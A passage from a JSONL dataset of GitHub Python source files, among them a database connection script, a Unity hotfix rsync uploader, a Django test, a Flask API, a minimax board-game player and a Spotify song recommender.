u\r\n\r\n\r\nmain()\r\n","repo_name":"cbezaitis/machine-learning","sub_path":"ML_ASS1_prob_1_1.py","file_name":"ML_ASS1_prob_1_1.py","file_ext":"py","file_size_in_byte":4724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8787803834","text":"# from sqlalchemy import create_engine\n\nimport pymysql\nimport pymysql.cursors\n\nconn = pymysql.connect('localhost', 'root',\n                       '', 'asorefo_db', charset='utf8mb4',\n                       cursorclass=pymysql.cursors.DictCursor)\n\n\nif(conn):\n    # conn = engine.raw_connection()\n    print('Database connected')\nelse:\n    print('Database not connected')\n","repo_name":"khobbie/asorefo","sub_path":"connection/mysql_db.py","file_name":"mysql_db.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19034218279","text":"#!/usr/bin/env python\n#-*- coding: utf-8\n## upload files that needed for hotfix\nimport os\nimport shutil\nimport zipfile\nimport yaml\nimport time\nfrom resources_workflow import ResourcesUtils\nfrom os import path\n\ndef listupload(confReourcesUpload, platform, source, target, channelName):\n\n\t'''generate resources list file for hotfix'''\n\n\tconfHotfixServer  = None\n\n\twith open(confReourcesUpload, 'r') as stream:\n\t\tconfHotfixServer = yaml.safe_load(stream)\n\n\tif not confHotfixServer:\n\t\tprint(\"config file not exists.\")\n\t\tsys.exit(1)\n\n\tuploadLogFolder = confHotfixServer['logDir']\n\toutputFolderName = confHotfixServer['localDir']\n\thotfixServerIP = confHotfixServer['ip']\n\thotfixServerDir = confHotfixServer['remoteDir']\n\n\tif hotfixServerIP == None or hotfixServerDir == None:\n\t\tprint(\"there is no hotfix server to upload.\")\n\t\treturn\n\n\tserverResListDict = ResourcesUtils.readMD5List(path.join(source, 'reslist.dat'))\n\tlocalResListDict = ResourcesUtils.readMD5List(path.join(target, 'reslist.dat'))\n\n\tif not path.exists(outputFolderName):\n\t\tos.makedirs(outputFolderName)\n\tif not path.exists(uploadLogFolder):\n\t\tos.makedirs(uploadLogFolder)\n\tfor filename, value in serverResListDict.items():\n\t\ttargetFile = path.join(outputFolderName, value[0])\n\t\tif path.exists(targetFile):\n\t\t\tcontinue\n\t\tif filename in localResListDict:\n\t\t\tsourceFile = path.join(target, filename)\n\t\telse:\n\t\t\tsourceFile = path.join(source, filename)\n\t\t## zip target file\n\t\twith zipfile.ZipFile(targetFile, 'w', zipfile.ZIP_DEFLATED) as myzip:\n\t\t\tmyzip.write(sourceFile, 'file')\n\tshutil.copy(path.join(source, 'reslist.dat'), path.join(outputFolderName, 'reslist_%s_%s.dat' % (platform, channelName)))\n\n\t## delete resource that not needed for hotfix any more\n\tallfiles = os.listdir(outputFolderName)\n\tlistfiles = filter(lambda x:path.isfile(x) and x.endswith('.dat'), [ path.join(outputFolderName, x) for x in allfiles ])\n\tresfiles = filter(lambda x:path.isfile(x) and not x.endswith('.dat'), allfiles)\n\tmd5Set = ResourcesUtils.mergeMD5List(listfiles)\n\tfor res in resfiles:\n\t\tif res not in md5Set:\n\t\t\tprint('remove resource file: %s' % res)\n\t\t\tos.remove(res)\n\n\t## rsync to hotfix server dir\n\tnow = int(time.time())\n\ttimestamp = time.localtime(now)\n\ttimeformat = time.strftime(\"%Y.%m.%d.%H.%M.%S\", timestamp)\n\tcmd = 'rsync -avzr --progress --exclude \".DS_Store\" --delete %s/ %s:%s > %s/upload-%s.log' % (outputFolderName, hotfixServerIP, hotfixServerDir, uploadLogFolder, timeformat)\n\tif os.system(cmd) != 0:\n\t\traise Exception('Error rysnc to hotfix server')\n\telse:\n\t\tprint('Success rsync to hotfix server')\n","repo_name":"sric0880/unity-buildscripts","sub_path":"resources_workflow/listupload.py","file_name":"listupload.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"41807099153","text":"from django.test import TestCase\nfrom records.models import DiagnosisCodes\n\nclass DiagnosisCodesTestCase(TestCase):\n     \n    def setUp(self):\n\n        DiagnosisCodes.objects.create(\n            icd_code='ICD_10 2015',\n            category_code='AOO',\n            code_id='3',\n            addition_code='AOO3',\n            summary='Cholera due to Vibrio cholerae 01, biovar cholerae',\n            description='Cholera due to Vibrio cholerae 01, biovar cholerae',\n            category_title='Cholera',\n        )\n    def test_diagnosis_codes(self):\n        diagnosiscodes = DiagnosisCodes.objects.get(id=1)\n        icd_code = f'{diagnosiscodes. icd_code}'\n        category_code = f'{diagnosiscodes.category_code}'\n        code_id = f'{diagnosiscodes.code_id}'\n        addition_code = f'{diagnosiscodes.addition_code}'\n        summary = f'{diagnosiscodes.summary}'\n        description = f'{diagnosiscodes.description}'\n        category_title =f'{diagnosiscodes.category_title}'\n\n        self.assertEqual(icd_code,'ICD_10 2015')\n        self.assertEqual(category_code,'AOO')\n        self.assertEqual( code_id,'3')\n        self.assertEqual(addition_code,'AOO3')\n        self.assertEqual(summary,'Cholera due to Vibrio cholerae 01, biovar cholerae')\n        self.assertEqual(description,'Cholera due to Vibrio cholerae 01, biovar cholerae')\n        self.assertEqual(category_title,'Cholera')\n        result = DiagnosisCodes.objects.all()\n        self.assertEqual(len(result),1)","repo_name":"Ndichu-shee/Diagnosis-codes","sub_path":"records/test/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17155960674","text":"import datetime\nfrom flask import Flask, jsonify\nimport requests\nimport os\n\nuser_api_url = \"http://localhost:5002\"\n\n\ndef env_setup():\n    if os.environ[\"USER_API\"] != None:\n        user_api_url = os.environ[\"USER_API\"]\n\n    return user_api_url\n\n\nuser_api_url = env_setup()\n\napp = Flask(__name__)\n\n\n@app.route('/hello/', methods=['GET'])\ndef welcome():\n    return jsonify({\n        'message': 'hello world',\n        'timestamp': datetime.datetime.now()\n    })\n\n\n@app.route('/api/v1/tasks', methods=['GET'])\ndef get_task():\n    return jsonify({\n        'tasks': [\n            {\n                \"name\": \"do reactjs homework\",\n                \"isCompleted\": True,\n                \"user\": requests.get(f'{user_api_url}/api/v1/users/{1}').json()\n            },\n            {\n                \"name\": \"buy groceries\",\n                \"isCompleted\": False,\n                \"user\": requests.get(f'{user_api_url}/api/v1/users/{1}').json()\n            },\n            {\n                \"name\": \"take out trash\",\n                \"isCompleted\": False,\n                \"user\": requests.get(f'{user_api_url}/api/v1/users/{42}').json()\n            },\n            {\n                \"name\": \"do spring boot homework\",\n                \"isCompleted\": True,\n                \"user\": requests.get(f'{user_api_url}/api/v1/users/{37}').json()\n            },\n        ]\n    })\n\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0', port=5000)\n","repo_name":"saint-rivers/kong-api-gateway-sample","sub_path":"task-api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42322895969","text":"# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\nclass Solution:\n    def insertionSortList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n        fake = ListNode(0, head)\n        prev, cur = head, head.next\n\n        def findInsertNode(fake, val):\n            ins = fake\n            while ins.next.val < val:\n                ins = ins.next\n            return ins\n\n        while cur:\n            if cur.val < prev.val:\n                ins = findInsertNode(fake, cur.val)\n                prev.next = cur.next\n                cur.next = ins.next\n                ins.next = cur\n                cur = prev.next\n            else:\n                prev, cur = cur, cur.next\n                continue\n        return fake.next\n            \n        \n","repo_name":"DimaYakovenko/leetcode-problems","sub_path":"insertion-sort-list/insertion-sort-list.py","file_name":"insertion-sort-list.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"29167467105","text":"from lib.db_manager import *\nimport requests\nURL = \"https://api.covid19api.com/summary\"\nresponse = requests.get(URL)\nurl = response.json()\ndef menyu(url):\n    exit = True\n    while exit:\n        vyb = int(\n            input(\"1. Вивести дані COVID 19 \\t2. Обновити дані COVID 19\\t0. EXIT => \"))\n        # if vyb == 1:\n        #     vyb2 = int(input(\"1.Вивести дані \\\"КРАЇНИ\\\"\\t2. All countries => \"))\n        #     vyb_Country = 0\n        #     con = \"0\"\n        #     coc = \"0\"\n        #     if vyb2 == 1:\n        #         vyb_Country = int(\n        #             input(\"1. Country Name\\t2. Country Code => \"))\n        #         if vyb_Country == 1:\n        #             con = input(\"Country Name => \")\n        #             coron_db.zap(covid_19_data)\n        #             coron_db.vyvid(vyb_Country, con, coc)\n        #         elif vyb_Country == 2:\n        #             coc = input(\"Country Code => \")\n        #             coron_db.zap(covid_19_data)\n        #             coron_db.vyvid(vyb_Country, con, coc)\n        #     elif vyb2 == 2:\n        #         coron_db.zap(covid_19_data)\n        #         coron_db.vyvid(vyb_Country, con, coc)\n        if vyb == 2:\n            zap(url)\n            print(\"Update coron GOOD\")\n        elif vyb == 0:\n            exit = False\n\n\nmenyu(url)\n\n","repo_name":"Zabehalin/postgressql_python","sub_path":"start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41695305610","text":"from typing import Any, Callable\nimport urllib.parse\nimport sequence.static\nimport sequence\n# from ...vm import _static_getters, _static_deleters, _static_putters\n\n\n# state\n@sequence.method(\"get\")\ndef load(state: sequence.State, *, uri: str, mediaType: str = None, **params):\n    \"\"\"\n    Loads an resource from a URI and places it as the top of the stack.\n\n    Parameters\n    ----------\n    uri: str\n        The URI of the resource you want to load.\n    [mediaType]: str\n        The media type of the resource you want to load.\n    [**params]:\n        Additional parameters are passed to the getter.\n\n    Outputs\n    -------\n    item: Any\n        The loaded resource.\n    \"\"\"\n    # global _static_getters\n    parsed_uri = urllib.parse.urlparse(uri)\n    uri_media_getter = sequence.static.getters[parsed_uri.scheme][mediaType]\n    return uri_media_getter(state, uri, **params)\n\n\n@sequence.method(\"put\")\ndef store(state: sequence.State, *, uri: str, mediaType: str = None, **params):\n    \"\"\"\n    Stores the item at the top of the stack.\n\n    Parameters\n    ----------\n    uri: str\n        The desination where you want to store the item.\n    [mediaType]: str\n        The media type of the resource you want to store.\n    [**params]:\n        Additional parameters are passed to the putter.\n\n    Inputs\n    -------\n    item: Any\n        The item to be stored.\n    \"\"\"\n    # global sequence.static.putters\n    data = state.pop()\n    parsed_uri = urllib.parse.urlparse(uri)\n    uri_media_putter = sequence.static.putters[parsed_uri.scheme][mediaType]\n    uri_media_putter(state, data, uri, **params)\n\n\n@sequence.method(\"del\")\ndef delete(state: sequence.State, *, uri: str, mediaType: str = None, **params):\n    \"\"\"\n    Deletes a resource.\n\n    Parameters\n    ----------\n    uri: str\n        The URI of the resource to be deleted.\n    [mediaType]: str\n        The media type of the resource you want to delete.\n    [**params]:\n        Additional parameters are passed to the deleter.\n    \"\"\"\n    # global sequence.static.deleters\n    parsed_uri = urllib.parse.urlparse(uri)\n    uri_media_deleter = sequence.static.deleters[parsed_uri.scheme][mediaType]\n    uri_media_deleter(state, uri, **params)\n","repo_name":"LiamBindle/sequence","sub_path":"sequence/standard/resources/methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30756382860","text":"import streamlit as st\nimport pandas as pd\nimport numpy as np\n# import ift6758.ift6758.client.game_client as game_client\n# import ift6758.ift6758.client.serving_client as serving_client\nfrom ift6758.ift6758.client.game_client import GameClient\nfrom ift6758.ift6758.client.serving_client import ServingClient\nfrom datetime import time\n\nst.title(\"Hockey Visualization App\")\n\ngame_idx = dict()\nservingClient = ServingClient(ip=\"serving\",features=['Secondes_jeu', 'Period_Number', 'X_Coordinate', 'Y_Coordinate',\n'Distance', 'Angle', 'Shot_Type', 'Last_event_type', 'X_last_event',\n'Y_last_event', 'Sec_from_lastEvent', 'Dis_from_lastEvent', 'Rebond',\n'Angle_change', 'Vitesse'])\ngameClient = GameClient(ip=\"serving\",features=['Secondes_jeu', 'Period_Number', 'X_Coordinate', 'Y_Coordinate',\n'Distance', 'Angle', 'Shot_Type', 'Last_event_type', 'X_last_event',\n'Y_last_event', 'Sec_from_lastEvent', 'Dis_from_lastEvent', 'Rebond',\n'Angle_change', 'Vitesse'])\n\nwith st.sidebar:\n    workspace = st.text_input(\"Workspace\", value=\"teylouniseifu\")\n    # model = st.text_input(\"Model\", value=\"model-xgb-2\")\n    \n    \n    options = ['model-xgb-2', 'xgboost-model-milestone3']\n    model = st.selectbox('Model', options)\n\n\n    version = st.text_input(\"Version\", value=\"1.0.0\")\n    if st.button(\"Get model\"):\n        servingClient.download_registry_model(workspace,model,version)\n\nwith st.container():\n    game_id = st.text_input(\"Game ID\", value=\"2016020001\")\n\nwith st.container():\n    if st.button(\"Ping game\") and game_id:\n        df = gameClient.get_game_events(game_id)\n        \n        predictions = servingClient.predict(df)[1:-2].split(',')\n        df['model_output'] = predictions\n        print(predictions)\n        teamnames = gameClient.get_team_names()\n        st.header(\"Game \"+game_id+\" : \"+teamnames[0]+\" vs \"+teamnames[1])        \n        \n        # Get remaining period time\n        df['Remaining_Time'] = df['Secondes_jeu'].apply(lambda x: 1200-int(x%1200))\n        # Convert remaining time in time object\n        df['Minutes'] = df['Remaining_Time'].apply(lambda x: int(x/60))\n        df['Seconds'] = df['Remaining_Time'].apply(lambda x: int(x%60))\n        df['Remaining_Time'] = [str(time(x['Minutes'], x['Seconds']))[:5] for _, x in df.iterrows()]\n        df = df.drop(['Seconds', 'Minutes'], axis = 1)\n\n        st.text(\"Period \"+str(df['Period_Number'].iloc[-1])+\" - \"+str(df['Remaining_Time'].iloc[-1]+\" left\"))\n\n        away, home = st.columns(2)\n        \n        away_score = 0\n        home_score = 0\n\n        for idx in range(len(predictions)):\n            if df['Team_of_Shooter'].iloc[idx] == teamnames[0]:\n                away_score += float(predictions[idx])\n            elif df['Team_of_Shooter'].iloc[idx] == teamnames[1]:\n                home_score += float(predictions[idx])\n\n        away.metric(teamnames[0]+\" xG (actual)\", str(round(away_score,1))+\" (\"+str(gameClient.get_vrai_scores()[teamnames[0]])+\") \", round(away_score,1)-gameClient.get_vrai_scores()[teamnames[0]])\n        home.metric(teamnames[1]+\" xG (actual)\", str(round(home_score,1))+\" (\"+str(gameClient.get_vrai_scores()[teamnames[1]])+\") \", round(home_score,1)-gameClient.get_vrai_scores()[teamnames[1]])\n\n        st.header(\"Data Used for predict\")\n        st.dataframe(df.drop(['Remaining_Time', 'Team_of_Shooter'], axis = 1))","repo_name":"teylouniseif/ift-6758-a22-final","sub_path":"streamlit_app.py","file_name":"streamlit_app.py","file_ext":"py","file_size_in_byte":3312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32382751474","text":"### oskaplayer ###\n### Ranxin Li ###\n### May. 19th. 2022 ###\n### ECS 170, SQ 2022 ###\nimport copy\nimport math\n#This is the entrance of this project\n#   input argument\n#     list_string: board \n#     side:  whose turn w or b \n#     ahead: deapth to thinking\n#   Return\n#       the best next move\ndef osakaplayer(list_string, side, ahead):\n    #the win_number is a global variable for winning side\n    global win_number\n    win_number=(len(list_string)-1)*(len(list_string))+1\n    \n    if len(movegen(list_string,side))==0:\n        return list_string\n    if side=='w':\n        return maxmin(list_string, 'w', side, ahead)[0]\n    if side=='b':\n        return maxmin(list_string, 'b', side, ahead)[0]\n    \n#This function use recursion to find the best move and the minmax value certain steps ahead or the game end\n#   input argument\n#       state: the current board\n#       firstgoes: which side goes first\n#       depth: the number of recursion\n#   Return\n#       a tuple (bestmove, value of static board evaluation)\ndef maxmin(state, firstgoes, side, depth):\n    win_side=wingame(state)\n    if win_side=='draw':\n        return (None, 0)\n    if win_side[0] or win_side[1] or depth==0:\n        return (None, staticboardeval(state,firstgoes))\n    if len(movegen(state, side))==0:\n        if side=='w':\n            return maxmin(state, firstgoes, 'b',depth-1)\n        if side=='b':\n            return maxmin(state, firstgoes, 'w', depth-1)\n    next_states=movegen(state,side)\n    best_move=state\n    if firstgoes=='w':\n        if side=='w':\n            h_value=-math.inf\n            \n            for new_state in next_states:\n                value=maxmin(new_state, firstgoes, 'b', depth-1)[1]\n                if value>h_value:\n                    h_value=value\n                    best_move=new_state\n            return (best_move, h_value)\n        if side=='b':\n            h_value=math.inf\n            \n            for new_state in next_states:\n                value=maxmin(new_state, firstgoes, 'w',depth-1)[1]\n                if value<h_value:\n                    h_value=value\n                    best_move=new_state\n            return (best_move, h_value)\n        \n    if firstgoes=='b':\n        if side=='b':\n            h_value=-math.inf\n            for new_state in next_states:\n                value=maxmin(new_state, firstgoes, 'w',depth-1)[1]\n                if value>h_value:\n                    h_value=value\n                    best_move=new_state\n            return (best_move, h_value)\n        if side=='w':\n            h_value=math.inf\n            for new_state in next_states:\n                value=maxmin(new_state, firstgoes, 'b',depth-1)[1]\n                if value<h_value:\n                    h_value=value\n                    best_move=new_state\n            return (best_move, h_value)\n                    \n#This function evaluate the heuristic value of the board\n#heuristic value:(number of player's pieces-number of opponent's pieces)+(the sum of opponent's steps to the goal)-(the sum of the player's stpes to the goal)\n#   Input argument\n#       board: the curruent status\n#       side: which one to move\n#   Return\n#       the heuristic value according to the side\ndef staticboardeval(board, side):\n    win_side=wingame(board)\n    if side=='w':\n        if win_side[0]:\n            return win_number\n        if win_side[1]:\n            return -win_number\n    if side=='b':\n        if win_side[0]:\n            return -win_number\n        if win_side[1]:\n            return win_number\n    num_of_white=0\n    num_of_black=0\n    white_distance=0\n    black_distance=0\n    first_line=0\n    bottom_line=len(board)-1\n\n    for i in range(len(board)):\n        for piece in board[i]:\n            if piece=='w':\n                num_of_white+=1\n                white_distance+=(bottom_line-i)\n            elif piece=='b':\n                num_of_black+=1\n                black_distance+=(i-first_line)\n    if side=='w':\n        \n        h=(num_of_white-num_of_black)+black_distance-white_distance\n        return h\n        \n    if side=='b':\n        \n        h=(num_of_black-num_of_white)+white_distance-black_distance\n        return h\n    \n#This function judge whether the static board is a win status or not\n#   Input argument:\n#       board: the current status\n#   Local variables to be return:\n#       b_win: whether black side wins\n#       w_win: whether white side wins\n#   Return:\n#       a tuple: (w_win, b_win) if one side wins\n#       string: 'draw' if neither side or both sides wins\n    \ndef wingame(board):\n    #set initial to be false because if there is no b on the bottom, then b_win will be false\n    b_win=False\n    num_of_b=0\n    for piece in board[0]:\n        if piece=='b':\n            b_win=True\n            num_of_b+=1\n    for i in range(1, len(board)):\n        for piece in board[i]:\n            if piece=='b':\n                b_win=False\n                num_of_b+=1\n    w_win=False\n    num_of_w=0\n    for piece in board[len(board)-1]:\n        if piece=='w':\n            w_win=True\n            num_of_w+=1\n    for i in range(0, len(board)-2):\n        for piece in board[i]:\n            if piece=='w':\n                w_win=False\n                num_of_w+=1\n    #when both side win, which side that has more pieces wins\n    if w_win and b_win:\n        #because both value is True, set the less piece side to be false\n        if num_of_w>num_of_b:\n            b_win=False\n        elif num_of_b>num_of_w:\n            w_win=False\n        else:\n            return \"draw\"\n        \n    if not w_win and not b_win:\n        if len(movegen(board, 'w'))==0 and len(movegen(board,'b'))==0:\n            if num_of_w>num_of_b:\n                w_win=True\n            elif num_of_b>num_of_w:\n                b_win=True\n            else:\n                return \"draw\"\n        \n    return (w_win, b_win)\n\n############################homework3 begin##############################\n\n\n# This function generate the movement, it is main function\n#   input argument \n#     state: a board \n#     side: whose turn , 'b' or 'w' \n#   Return\n#     new_states: list of all new chessboards that can be generated      \ndef movegen(state, side):\n    new_states=list()\n    mid=len(state)//2\n    #white's turn\n    if side=='w':\n        for i in range(len(state)-1):\n            for j in range(len(state[i])):\n                if state[i][j]=='w':\n                    #on the upper of chessboard\n                    if i<mid:\n                        #left direction\n                        if j>0:\n                            #1 step to the left\n                            if state[i+1][j-1]=='-':\n                                changestate(new_states, state, i, j, 1, -1, 0, 0)\n                            #take opponent pieces to the left\n                            elif state[i+1][j-1]=='b':\n                                if i==mid-1:\n                                    if state[i+2][j-1]=='-':\n                                        changestate(new_states, state, i, j, 2, -1, 1, -1)\n                                \n                                else:\n                                    #cannot take opponent's piece when j euqals to 1\n                                    if j>1 and state[i+2][j-2]=='-':\n                                        changestate(new_states, state, i, j, 2, -2, 1, -1)\n                        #right direction\n                        if j<len(state[i])-1:\n                            #1 step to the right\n                            if state[i+1][j]=='-':\n                                changestate(new_states, state, i, j, 1, 0, 0, 0)\n                            elif state[i+1][j]=='b':\n                                if i==mid-1:\n                                    if state[i+2][j+1]=='-':\n                                        changestate(new_states, state, i, j, 2, 1, 1, 0)\n                                else:\n                                    #cannot take opponent's piece when j euqals to len minus 2\n                                    if j<len(state[i])-2 and state[i+2][j]=='-':\n                                        changestate(new_states, state, i, j, 2, 0, 1, 0)\n\n                    #on the lower of chessboard\n                    else:\n                        #left direction\n                        #1 step to the left\n                        if state[i+1][j]=='-':\n                            changestate(new_states, state, i, j, 1, 0, 0, 0)\n                        elif state[i+1][j]=='b':\n                            #cannot take opponent's piece when i equals to len minus 2\n                            if i<len(state)-2 and state[i+2][j]=='-':\n                                changestate(new_states, state, i, j, 2, 0, 1, 0)\n                        #right direction\n                        #1 step to the right\n                        if state[i+1][j+1]=='-':\n                            changestate(new_states, state, i, j, 1, 1, 0, 0)\n                        elif state[i+1][j+1]=='b':\n                            #cannot take opponent's piece when i equals to len minus 2\n                            if i<len(state)-2 and state[i+2][j+2]=='-':\n                                changestate(new_states, state, i, j, 2, 2, 1, 1)\n    #black's turn\n    if side=='b':\n        for i in range(1, len(state)):\n            for j in range(len(state[i])):\n                if state[i][j]=='b':\n                    #on the lower of chessboard\n                    if i>mid:\n                        #left direction\n                        if j>0:\n                            #1 step to the left\n                            if state[i-1][j-1]=='-':\n                                changestate(new_states, state, i, j, -1, -1, 0, 0)\n                            #eat opponent pieces to the left\n                            elif state[i-1][j-1]=='w':\n                                if i==mid+1:\n                                    if state[i-2][j-1]=='-':\n                                        changestate(new_states, state, i, j, -2, -1, -1, -1)\n                                else:\n                                    #cannot take opponent's piece when j euqals to 1\n                                    if j>1 and state[i-2][j-2]=='-':\n                                        changestate(new_states, state, i, j, -2, -2, -1, -1)\n                        #right direction\n                        if j<len(state[i])-1:\n                            #1 step to the right\n                            if state[i-1][j]=='-':\n                                changestate(new_states, state, i, j, -1, 0, 0, 0)\n                            elif state[i-1][j]=='w':\n                                if i==mid+1:\n                                    if state[i-2][j+1]=='-':\n                                        changestate(new_states, state, i, j, -2, 1, -1, 0)\n                                else:\n                                    #cannot take opponent's piece when j euqals to len minus 2\n                                    if j<len(state[i])-2 and state[i-2][j]=='-':\n                                        changestate(new_states, state, i, j, -2, 0, -1, 0)\n\n                    #on the upper of chessboard\n                    else:\n                        #left direction\n                        #1 step to the left\n                        if state[i-1][j]=='-':\n                            changestate(new_states, state, i, j, -1, 0, 0, 0)\n                        elif state[i-1][j]=='w':\n                            if i>1 and state[i-2][j]=='-':\n                                changestate(new_states, state, i, j, -2, 0, -1, 0)\n                        #right direction\n                        #1 step to the right\n                        if state[i-1][j+1]=='-':\n                            changestate(new_states, state, i, j, -1, 1, 0, 0)\n                        elif state[i-1][j+1]=='w':\n                            #cannot take opponent's piece when i equals to 1\n                            if i>1 and state[i-2][j+2]=='-':\n                                changestate(new_states, state, i, j, -2, 2, -1, 1)\n    return new_states\n                \n            \n\n#This function convert the list strings into 2-dimension array\n#  Input\n#    list_strings : list strings of board\n#  Return \n#    ret : 2-dimension array              \ndef converttoboard(list_strings):\n    ret=list()\n    for one_list in list_strings:\n        grid_list=list()\n        for grid in one_list:\n            grid_list.append(grid)\n        ret.append(grid_list)\n    return ret\n\n#This function convert the list (2-dimension array) into list strings\n#  Input\n#    board : list strings of board\n#  Return \n#    ret : list strings of board    \ndef converttoliststrings(board):\n    ret=list()\n    for i in range(len(board)):\n        string_list=\"\"\n        for grid in board[i]:\n            string_list+=grid\n        ret.append(string_list)\n    return ret\n\n#This function is for changing the grid on the chessboard\n#  Input\n#    new_states : list strings of board\n#    states : list strings of board\n#    i: position on row before moving\n#    j: position on row before moving\n#    i_offset: step of moving on row  \n#    j_offset: step of moving on column \n#    i_captured_offset: relative position of piece being captured \n#    j_captured_offset: relative position of piece being captured  \n#  Return \n#    (none) \ndef changestate(new_states, state,i, j, i_offset, j_offset, i_captured_offset, j_captured_offset):\n    state_copy=converttoboard(state)\n    state_copy[i][j], state_copy[i+i_offset][j+j_offset]=state_copy[i+i_offset][j+j_offset], state_copy[i][j]\n    if i_captured_offset or j_captured_offset:\n        state_copy[i+i_captured_offset][j+j_captured_offset]='-'\n    string_state_copy=converttoliststrings(state_copy)\n    new_states.append(string_state_copy)\n\n############################homework3 end##############################\n\n####################This part is for testing######################################\n#print(osakaplayer(['----','w--','bw','w-b','----'], 'b', 13))\n#print(osakaplayer(['www-','bb-','--','--w','----'], 'b', 2))\n#print(osakaplayer(['b---','---','-w','w-b','----'], 'w', 2))\n#print(osakaplayer(['b---','---','-w','--b','w---'], 'b', 1))\n#print(win_game(['b---','-b-','--','---','w---']))\n#print(win_number)\n#print(osakaplayer(['----','-w-','bw','-b-','----'],'w',2))\nprint(osakaplayer(['----','-w-','bb','-w-','----'], 'w', 5))\n#print(osakaplayer(['----','b-w','w-','--b','----'], 'w', 13))\n#print(osakaplayer(['----','-wb','b-','-w-','--w-'],'b',3))\n","repo_name":"Ranxin2023/hexaPawn","sub_path":"osakaplayer.py","file_name":"osakaplayer.py","file_ext":"py","file_size_in_byte":14514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27331953609","text":"import setuptools\nfrom m2r import convert\n\nwith open(\"README.md\", \"r\") as f:\n    long_description = convert(f.read())\n\nsetuptools.setup(\n    name=\"SelfishClass\",\n    version=\"0.21\",\n    author=\"SawyerSteven\",\n    author_email=\"sawyerstevenk@gmail.com\",\n    description=\"A minimal alternative to dataclasses and python-attrs\",\n    long_description=long_description,\n    long_description_content_type=\"text/x-rst\",\n    url=\"https://github.com/sawyersteven/SelfishClass\",\n    packages=setuptools.find_packages(),\n    classifiers=(\n        \"Programming Language :: Python\",\n        \"License :: OSI Approved :: GNU Lesser General Public License v3 or later (LGPLv3+)\",\n        \"Operating System :: OS Independent\",\n    ),\n)\n","repo_name":"sawyersteven/SelfishClass","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6990886617","text":"import sys\nimport pandas as pd\nimport numpy as np\nfrom numpy.linalg import norm\nfrom sklearn.metrics.pairwise import cosine_similarity\n\n#To do: figure out Input output needs for website and adapt\n#Add functionality that handles more recent songs and songs not in DB\n\ndef main():\n    #Intput: weights, song title, artist, spotify id(optional)\n    args = sys.argv[1:]\n    weights = [1,1,1,1,1,1,1,1,1,1]\n    #args = [weights,\"Never Gonna Give You Up\", \"Rick Astley\"]\n\n    df = pd.read_csv('SpotifyFeatures.csv')\n    df.drop(columns=['duration_ms'])\n\n    #Some temp cleaning...\n    df['popularity'] = df['popularity'].div(100)\n    df['tempo'] = df['tempo'].div(100)\n    df['loudness'] = df['loudness'].div(10)\n    #df['genre_indicator'] = 0\n\n    #Finds the song being searched for\n    search_song = df.loc[(df['track_name'] == args[1]) & (df['artist_name'] == args[2])]\n    if len(args)>3:\n        search_song = df.loc[df['track_id'] == args[3]]\n\n    #...   \n    search_song['genre_indicator']=1\n    search_song['artist_indicator']=1\n    df['genre_indicator'] = 0\n\n    #deals with multiple genre entries for the same song\n    temp_arr = []\n    for index, row in search_song.iterrows():\n        row_df = pd.DataFrame(row).transpose()\n\n        #Make variables to indicate if the songs have similar genres and artists\n        df['genre_indicator'] = np.where(df['genre']==row_df['genre'].to_numpy()[0],1,df['genre_indicator'])\n        df['artist_indicator'] = np.where(df['artist_name']==row_df['artist_name'].to_numpy()[0],0.5,0)\n        #...\n        temp_arr.append(row_df)\n\n    #Drop popularity in general maybe\n    temp = df.iloc[:,[4,5,6,8,9,12,15,17,18,19]]\n    song = temp_arr[0].iloc[:,[4,5,6,8,9,12,15,17,18,19]]#.to_numpy()\n\n    #Run the cosine sim algorithm\n    similarity_scores = cosine_similarity(temp, song)\n    df['sim score'] = similarity_scores\n\n    #CHANGE THIS TO GET EXACTLY THE OUTPUT YOU WANT...\n    final = df[['track_name','track_id','sim score']].sort_values(by=['sim score'], ascending=False)\n    final.drop_duplicates(subset=['track_id'], inplace=True)\n\n    \n    #Need to figure out output...\n    with open('output.txt', 'w') as f:\n        f.write(final.head(10).to_string())\n\n    \n        \n    #Make variables to indicate if the songs have similar genres and artists\n    #df['genre_indicator'] = np.where(df['genre']==search_song['genre'].to_numpy()[0],1,0)\n    #df['artist_indicator'] = np.where(df['artist_name']==search_song['artist_name'].to_numpy()[0],1,0)\n    #print(df['artist_indicator'].sum())\n\n\n   \n\ndef cos_sim(a,b):\n    return np.dot(a,b)/(norm(a)*norm(b))\n\nif __name__ == '__main__':\n    main()\n\n","repo_name":"Aaron3154518/CSDS_395","sub_path":"hello-world/PythonRecs/SongRec.py","file_name":"SongRec.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
